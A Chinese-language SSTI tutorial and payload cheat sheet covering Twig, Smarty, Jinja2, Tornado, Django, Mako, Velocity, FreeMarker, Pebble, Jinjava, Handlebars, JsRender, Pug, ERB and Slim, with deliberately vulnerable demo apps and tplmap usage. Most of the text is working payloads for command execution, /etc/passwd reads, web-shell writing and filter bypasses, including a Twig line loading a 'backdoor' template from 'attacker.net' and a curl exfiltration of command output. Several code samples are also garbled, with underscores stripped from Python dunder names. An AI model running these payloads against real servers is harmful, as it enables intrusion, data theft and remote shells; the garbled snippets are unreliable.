- 什么是SSTI
- 什么是模版/模版引擎
- 挖掘和判定
- 已知模版引擎问题
- PHP中的SSTI
- !/usr/bin/env python
- 用{%%}标记
- set($e=”e”);$e.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”)$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“sleep 5”).waitFor() // CVE-2019-3396
- set($str=$class.inspect(“java.lang.String”).type)
- set($chr=$class.inspect(“java.lang.Character”).type)
- set($ex=$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“whoami”))
- set($out=$ex.getInputStream())
- foreach($i in [1..$out.available()])
- end
- {7*7} = 49 — (legacy)
- {7*7} = 49
- {function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad(“child_process”).exec(‘touch /tmp/pwned.txt’)}()}
什么是SSTI
SSTI(Server Side Template Injection)
全称服务端模板注入,既然是注入,那就说明是执行了某些恶意代码导致的问题;
漏洞成因是服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为Web应用模板内容的一部分,模板引擎
在进行目标编译渲染的过程中(一般可以执行各种表达式),执行了攻击者插入的可以破坏模板结构的语句(恶意Payload
),因而可能导致了敏感信息泄露、代码执行、GetShell等问题。其影响范围主要取决于模版引擎的复杂性。
简单来说,就是给攻击者传入的数据当成了模版来渲染,而不是当成数据去渲染。
什么是模版/模版引擎
刚才提到了漏洞产生原因是因为模版引擎
将攻击者构造的恶意payload在服务端按代码语义解析执行,那什么是模版,什么又是模版引擎呢?
目前主流的web开发主要分为以下两种技术:
- 前后端不分离:即后端完成路由,用户在浏览器输入一个url,访问的是后端路由(服务端响应),后端接收请求后,再将数据通过
模板引擎
解析再渲染成视图返回给前端。后端路由,由后端渲染数据,再返回视图给前端,前端只负责展示视图,所有的交互都在后台;可以简单理解为访问一个URL后直接得到html页面。
- 前后端分离:前端使用JavaScript框架,如(jquery,vue,react,angular),前端项目化;后端去掉所有的视图,只提供api接口,用户在浏览器访问的路由为前端路由(也称为Hash路由,由前端响应),只加载前端视图,数据只通过ajax获取,前端获取数据之后再渲染到视图,前端负责控制路由,展示视图,后端只负责提供api,用户和视图交互,视图上的按钮以及页面数据和后端api交互;
可以简单理解为访问一个URL后返回的是JSON等数据,而不是一个完全渲染好的html页面
从上面的描述,可以看出SSTI主要存在于前后端不分离的项目中。
模板
可以理解为一段固定好格式,等着你来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。作为对比,一个很不好的解决方法是通过字符串拼接的方式来组成HTML文件,然后统一输出。模板引擎
(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档,简单来说 就是将模板文件和数据通过模板引擎的渲染生成最终的HTML代码。
流程如下所示:
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
挖掘和判定
最原始的方法是通过注入模板表达式中常用的一系列特殊字符来尝试模糊模板,例如${{<%[%'"}}%\
,如果出现异常,则表明注入的模板语法可能正在以某种方式被服务器渲染解析,这就是可能存在服务器端模板注入漏洞的一个迹象。
如果发现存在了SSTI,那怎么判断是什么模版引擎的注入呢?
1、报错
大量的模版语言都是类似的,我们可以选择一些不常规的payload让其抛出异常,这样我们就能确定模版引擎甚至版本号;比如使用无效表达式<%=foobar%>
给基于Ruby的ERB
模版引擎解析时,就会抛出异常:
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
2、根据执行结果
如果没有报错,就只能根据每个模版语言的特性来识别了,一种常见的方法是使用来自不同模板引擎的语法注入任意数学运算,根据返回的结果来判断,有一张出圈的决策树图如下:
已知模版引擎问题
已知的一些模版和其是否存在问题
PHP中的SSTI
Twig
Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。
基础语法
Twig模版
1、使用双大括号分隔符{{ }}
进行输出
2、使用大括号百分比定界符{% %}
进行逻辑运算
3、使用{# #}
用于评论、注释
{# 注释 #}
<ul>
{% for word in words %}
<li>{{ word }}</li>
{% endfor %}
</ul>
环境搭建
注意:在2.0.0版本中,移除了
Autoloader
,但是网上很多千篇一律的twig SSTI搭环境都没讲这个,就会出问题。。。所以我们下载个v1.35.0
- 组件信息
| 使用组件 | 版本 | | —- | —- |
| Twig | 1.35.0 |
| php | 7.3.24 |
- 利用代码
它的render()
方法通过其第一个参数载入模板,并通过第二个参数中的变量来传值渲染模板。正常情况下没有问题,但如果渲染的模版内容受到用户的控制,那么就会存在漏洞。
<?php
require_once(dirname(__FILE__).'/Twig-1.35.0/lib/Twig/Autoloader.php');
Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String());
// $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 不存在SSTI情况
$output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版变量的值
echo $output;
?>
- 快速启动PHP web环境 ``` php -S 127.0.0.1:9999
大功告成<br />![image-20211104113759413](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990909050-1b0ed403-a128-4f76-93b2-248b5f5af171.png)
#### 漏洞利用
前面也说了一般模版的渲染的时候,可以执行表达式
- 基础Payload
{{22**3}} = 16 {# 这里要注意的是,#要写成%23,不然会被浏览器当成锚点 #} {{22*3}}{%23%20注释不会显示%20%23} = 16 ${77} = ${77} {{7‘7’}} = 49 {{1/0}} = Error {{foobar}} Nothing
![image-20211104113823340](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990910150-4068fec5-39e8-4f21-8b5d-2decdfa3fcce.png)
- 其他的一些高风险payload,本地都没有测试成功,怀疑可能是Twig版本的问题?
{# Get Info #} {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(‘,’)}}
{# File read #} “{{‘/etc/passwd’|file_excerpt(1,30)}}”@
{# Exec code #} {{_self.env.setCache(“ftp://attacker.net:2121”)}}{{_self.env.loadTemplate(“backdoor”)}} {{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}} {{_self.env.registerUndefinedFilterCallback(“system”)}}{{_self.env.getFilter(“whoami”)}} {{[‘id’]|filter(‘system’)}} {{[‘cat\x20/etc/passwd’]|filter(‘system’)}} {{[‘cat$IFS/etc/passwd’]|filter(‘system’)}} {{[“id”]|map(“system”)|join(“,”) {{[“id”, 0]|sort(“system”)|join(“,”)}} {{[“id”]|filter(“system”)|join(“,”)}} {{[0, 0]|reduce(“system”, “id”)|join(“,”)}} {{{“<?php phpinfo();”:”/var/www/html/shell.php”}|map(“file_put_contents”)}}
#### 参考
-
[ssti-server-side-template-injection#twig-php](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#twig-php)
-
[TWIG 全版本通用 SSTI payloads](https://xz.aliyun.com/t/7518)
### Smarty
Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个`disable_function`)<br />但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读[模板的文档](https://github.com/smarty-php/smarty)以后我们发现:$smarty内置变量可用于访问各种环境变量;<br />比如我们使用 `self` 得到 `smarty` 这个类以后我们就去找 `smarty` 给我们的的方法:<br />[https://github.com/smarty-php/smarty/blob/v3.1.11/libs/sysplugins/smarty_internal_data.php](https://github.com/smarty-php/smarty/blob/v3.1.11/libs/sysplugins/smarty_internal_data.php) 中的 `getStreamVariable()` 方法可以获取传入变量的流<br />![image-20211104113918775](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990910986-dfd653e8-c80a-4f56-bbf5-f5843bf5e49a.png)<br />因此我们可以用这个方法读文件,payload:
{self::getStreamVariable(“file:///etc/passwd”)}
---
实在没找到环境怎么搭建,这里收集一下Payload吧
{$smarty.version} #获取smarty的版本号 {php}phpinfo();{/php} #执行相应的php代码,在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。 {if phpinfo()}{/if} # 执行相应的php代码 {self::getStreamVariable(“file:///etc/passwd”)} # 任意文件读取 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,”<?php passthru($_GET[‘cmd’]); ?>”,self::clearConfig())} # 文件写入 {system(‘ls’)} # compatible v3 {system(‘cat index.php’)} # compatible v3 {literal}alert(‘xss’);{/literal} # XSS
---
参考链接
- [SSTI模板注入](https://err0r.top/article/ssti/#Smarty)
- [ssti-server-side-template-injection#smarty-php](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#smarty-php)
## Python中的SSTI
### Jinja2
Jinja2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的,是Flask框架的一部分。
#### 基础语法
和`Twig`类似
{{ … }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。 {% … %}:装载一个控制语句。 {# … #}:装载一个注释,模板渲染的时候会忽视这中间的值
- 变量
在模板中添加变量,可以使用(set)语句
{% set name=’xx’ %}
- 创建一个内部的作用域
with语句来创建一个内部的作用域,将set语句放在其中,这样创建的变量只在with代码块中才有效
{% with gg = 42 %} {{ gg }} {% endwith %}
- if 语句
{% if 1==1 %} {{ 77 }} {%else%} {{ 88 }} {% endif %}
- for 循环
{% for c in [‘1’,’2’,’3’] %} {{c}} {%endfor%}
#### 环境搭建
-
依赖
- Python 3.7.9
- Flask 1.1.2
- Jinja2 3.0.1
-
演示代码
<br />我们传入的get变量`name`,被当成模版内容传入到Jinja2进行渲染。
!/usr/bin/env python
from flask import Flask, request from jinja2 import Template
app = Flask(name)
@app.route(‘/‘) def index(): name = request.args.get(‘name’, ‘guest’)
t = Template("Hello " + name)
return t.render()
if name == “main“: app.run()
-
启动环境
python3 jinja2_ssti.py
大功告成<br />![image-20211104114007489](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990912557-dfd66cb0-363b-44c6-bb3c-ac0ee7a2593e.png)
#### 漏洞判定
执行最简单的表达式`{{2**10}}`<br />![image-20211104114023078](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990913505-d9d1fa1c-417e-4aa8-ae64-ff9d6ddd8b6b.png)
${77} = ${77} {{foobar}} = Nothing {{44}}[[55]] = 16[[55]] {{7‘7’}} = 7777777 {# 下面是需要内部有相关变量才能得到结果 #} {{config}} {{config.items()}} {{settings.SECRET_KEY}} {{settings}} {% debug %}
#### 深入了解
主要是利用了Python的魔术方法,**具体可以Google搜索:python沙盒逃逸 了解**,简单介绍下:
class 返回示例所属的类 mro 返回一个类所继承的基类元组,方法在解析时按照元组的顺序解析。 base 返回一个类所继承的基类 # base和mro都是用来寻找基类的 subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用列表 init 类的初始化方法 globals 对包含函数全局变量的字典的引用
通过这些魔术方法的组合构造,就可以最大限度的执行到各种危险方法,比如读文件、执行系统命令<br />构造的Payload
for c in [].class.base.subclasses(): if c.name == ‘catchwarnings’: for b in c.init.globals.values(): if b.class == {}.class: if ‘eval’ in b.keys(): print(b[‘eval’](‘_import(“os”).popen(“id”).read()’))
#### 加深利用
就是给上面构造出来的Payload转换成Jinja2可以执行的表达式<br />结果
{% for c in [].class.base.subclasses() %} {% if c.name == ‘catchwarnings’ %} {% for b in c.init.globals.values() %} {% if b.class == {}.class %} {% if ‘eval’ in b.keys() %} {{ b[‘eval’](‘_import(“os”).popen(“id”).read()’) }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
压缩一行
{% for c in [].class.base.subclasses() %}{% if c.name == ‘catchwarnings’ %}{% for b in c.init.globals.values() %}{% if b.class == {}.class %}{% if ‘eval’ in b.keys() %}{{ b[‘eval’](‘_import(“os”).popen(“id”).read()’) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
查看结果<br />![image-20211104114042081](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990914276-882d7edd-4545-45b1-a1f1-2be63f9764b9.png)<br />其他的一些Payload
{% for x in ().class.base.subclasses() %}{% if “warning” in x.name %}{{x().module.builtins[‘_import‘](‘os’).popen(“whoami”).read()}}{%endif%}{% endfor %}
{% for c in [].class.base.subclasses() %}{% if c.name==’catchwarnings’ %}{{ c.init.globals[‘_builtins‘].open(‘/etc/passwd’, ‘r’).read() }}{% endif %}{% endfor %}
#### 绕过
- **过滤[**
{# getitem、pop #} {{ ‘’.class.mro.getitem(2).subclasses().pop(40)(‘/etc/passwd’).read() }} {{ ‘’.class.mro.getitem(2).subclasses().pop(59).init.func_globals.linecache.os.popen(‘ls’).read() }}
- **过滤引号**
{# chr函数 #} {% set chr=().class.bases.getitem(0).subclasses()[59].init.globals.builtins.chr %} {{().class.bases.getitem(0).subclasses().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}#request对象 {{().class.bases.getitem(0).subclasses().pop(40)(request.args.path).read() }}&path=/etc/passwd
{# 命令执行 #} {% set chr=().class.bases.getitem(0).subclasses()[59].init.globals.builtins.chr %} {{().class.bases.getitem(0).subclasses().pop(59).init.funcglobals.linecache.os.popen(chr(105)%2bchr(100)).read() }} {{().class.bases.getitem(0).subclasses().pop(59)._init.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
- **过滤下划线**
{{‘’[request.args.class][request.args.mro][2]request.args.subclasses40.read() }}
- **过滤花括号**
用{%%}标记
{% if ‘’.class.mro[2].subclasses()[59].init.func_globals.linecache.os.popen(‘curl http://127.0.0.1:7999/?i=`whoami`').read()=='p‘ %}1{% endif %}
#### 参考
- [ssti-server-side-template-injection#jinja2-python](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python)
### tornado
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过`{{}}`进行传递变量和执行简单的表达式。<br />payload
{% import foobar %} = Error {% import os %}{{os.system(‘whoami’)}}
### Djanjo
这个比较难利用,条件被限制的很死,很难执行命令;但Django自带的应用 "admin"(也就是Django自带的后台)的`models.py`中导入了当前网站的配置文件,可以通过某种方式,找到Django默认应用admin的model,再通过这个model获取settings对象,进而获取数据库账号密码、Web加密密钥等信息。
{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY} {user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
### Mako
<% import os x=os.popen(‘id’).read() %> ${x}
## Java中的SSTI
### Velocity
set($e=”e”);$e.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”)$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“sleep 5”).waitFor() // CVE-2019-3396
set($str=$class.inspect(“java.lang.String”).type)
set($chr=$class.inspect(“java.lang.Character”).type)
set($ex=$class.inspect(“java.lang.Runtime”).type.getRuntime().exec(“whoami”))
$ex.waitFor()
set($out=$ex.getInputStream())
foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
end
### FreeMarker
在线测试网站:[https://try.freemarker.apache.org](https://try.freemarker.apache.org)
-
基础Payload
{{77}} = {{77}} ${7*7} = 49
{7*7} = 49 — (legacy)
${7*’7’} Nothing ${foobar}
-
高级Payload
<#assign ex = “freemarker.template.utility.Execute”?new()>${ ex(“id”)} [#assign ex = ‘freemarker.template.utility.Execute’?new()]${ ex(‘id’)} ${“freemarker.template.utility.Execute”?new()(“id”)}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve(‘/home/carlos/my_password.txt’).toURL().openStream().readAllBytes()?join(“ “)}
### Spring View Manipulation
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(“id”).getInputStream()).next()}::.x ${T(java.lang.Runtime).getRuntime().exec(“touch executed”)}::.x
### Pebble
- 基础Payload
{{ someString.toUPPERCASE() }}
- 低版本Pebble (< version 3.0.9)
{{ variable.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘ls -la’) }}
- 高版本
{% set cmd = ‘id’ %} {% set bytes = (1).TYPE .forName(‘java.lang.Runtime’) .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName(‘java.lang.String’) .constructors[0] .newInstance(([bytes]).toArray()) }}
### Jinjava
{{‘a’.toUpperCase()}} = ‘A’ {{ request }} = 会返回一个request对象形如 com.[…].context.TemplateContextRequest@23548206
- 命令执行(被修复:https://github.com/HubSpot/jinjava/pull/230)
{{‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”new java.lang.String(‘xxx’)\”)}}
{{‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”var x=new java.lang.ProcessBuilder; x.command(\\”whoami\\”); x.start()\”)}}
{{‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”var x=new java.lang.ProcessBuilder; x.command(\\”netstat\\”); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\”)}}
{{‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”var x=new java.lang.ProcessBuilder; x.command(\\”uname\\”,\\”-a\\”); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\”)}}
## NodeJS中的SSTI
### Handlebars
{{#with “s” as |string|}} {{#with “e”}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub “constructor”)}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push “return require(‘child_process’).exec(‘whoami’);”}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
URL编码: %7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
### JsRender
XSS:
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
RCE:
{{:”pwnd”.toString.constructor.call({},”return global.process.mainModule.constructor._load(‘child_process’).execSync(‘cat /etc/passwd’).toString()”)()}}
### PugJs
基础
{7*7} = 49
RCE:
{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad(“child_process”).exec(‘touch /tmp/pwned.txt’)}()}
## Ruby中的SSTI
### ERB
基础:
{{77}} = {{77}} ${77} = ${77} <%= 7*7 %> = 49 <%= foobar %> = Error
高级:
<%= system(“whoami”) %> #Execute code <%= Dir.entries(‘/‘) %> #List folder <%= File.open(‘/etc/passwd’).read %> #Read file
<%= system(‘cat /etc/passwd’) %>
<%= ls /
%>
<%= IO.popen(‘ls /‘).readlines() %>
<% require ‘open3’ %><% @a,@b,@c,@d=Open3.popen3(‘whoami’) %><%= @b.readline()%>
<% require ‘open4’ %><% @a,@b,@c,@d=Open4.popen4(‘whoami’) %><%= @c.readline()%>
### Slim
Payload:
{ 7 * 7 } { %x|env| }
## 自动化工具
-
[tplmap](https://github.com/epinna/tplmap)
<br />支持一键getshell
<br />支持模版引擎列表:
|
Engine
| Remote Command Execution
| Blind
| Code evaluation
| File read
| File write
|
| --- | --- | --- | --- | --- | --- |
|
Mako
| ✓
| ✓
| Python
| ✓
| ✓
|
|
Jinja2
| ✓
| ✓
| Python
| ✓
| ✓
|
|
Python (code eval)
| ✓
| ✓
| Python
| ✓
| ✓
|
|
Tornado
| ✓
| ✓
| Python
| ✓
| ✓
|
|
Nunjucks
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
Pug
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
doT
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
Marko
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
JavaScript (code eval)
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
Dust (<= dustjs-helpers[1.5.0) ](/1.5.0) )
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
EJS
| ✓
| ✓
| JavaScript
| ✓
| ✓
|
|
Ruby (code eval)
| ✓
| ✓
| Ruby
| ✓
| ✓
|
|
Slim
| ✓
| ✓
| Ruby
| ✓
| ✓
|
|
ERB
| ✓
| ✓
| Ruby
| ✓
| ✓
|
|
Smarty (unsecured)
| ✓
| ✓
| PHP
| ✓
| ✓
|
|
PHP (code eval)
| ✓
| ✓
| PHP
| ✓
| ✓
|
|
Twig (<=1.19)
| ✓
| ✓
| PHP
| ✓
| ✓
|
|
Freemarker
| ✓
| ✓
| Java
| ✓
| ✓
|
|
Velocity
| ✓
| ✓
| Java
| ✓
| ✓
|
|
Twig (>1.19)
| ×
| ×
| ×
| ×
| ×
|
|
Smarty (secured)
| ×
| ×
| ×
| ×
| ×
|
|
Dust (> dustjs-helpers[1.5.0) ](/1.5.0) )
| ×
| ×
| ×
| ×
| ×
|
使用
python2.7 ./tplmap.py -u ‘http://www.target.com/page?name=John*‘ —os-shell python2.7 ./tplmap.py -u “http://192.168.56.101:3000/ti?user=*&comment=supercomment&link“ python2.7 ./tplmap.py -u “http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link“ —level 5 -e jade
```